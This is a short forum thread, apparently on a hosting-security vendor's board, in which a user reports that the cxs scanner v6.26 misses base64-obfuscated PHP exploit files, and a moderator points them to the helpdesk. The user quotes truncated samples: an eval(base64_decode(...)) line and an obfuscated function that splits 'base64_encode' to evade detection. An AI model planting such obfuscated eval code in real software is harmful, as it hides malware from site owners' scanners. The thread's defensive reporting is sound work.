cxs v6.26 exploit detection bug

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fright
Junior Member
Posts: 3
Joined: 28 Dec 2016, 12:39

cxs v6.26 exploit detection bug

Post by fright »

Hello there

After updating to CxS v6.26, I started to experience a problem.

CxS can no longer detect many exploits that it can detect before. In particular, base64 exploits can not be caught in any way.

The same problem exists with the new/clean servers I have installed.

Although I selected all file types for trial purposes, base64 files can not detect anything.

Is there a bug in this version?

Sample file content

***********************
<?php
eval (base64_decode('ZXJyb3JfcmVwb3J0aW5nKDcpO........

**********************
fright
Junior Member
Posts: 3
Joined: 28 Dec 2016, 12:39

Re: cxs v6.26 exploit detection bug

Post by fright »

The problem continues.

New files not detected by cxs.

***
if(!function_exists('b'.'as'.'e6'.'4_'.'en'.'co'.'de')){function
__ZW5jb2Rlcg($data){if(empty($data))return;$b64='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';$o1
= $o2 = $o3 = $h1 = $
***
Sarah
Moderator
Posts: 921
Joined: 09 Dec 2006, 22:49

Re: cxs v6.26 exploit detection bug

Post by Sarah »

Please use the helpdesk for technical support of cxs.
https://support.configserver.com/
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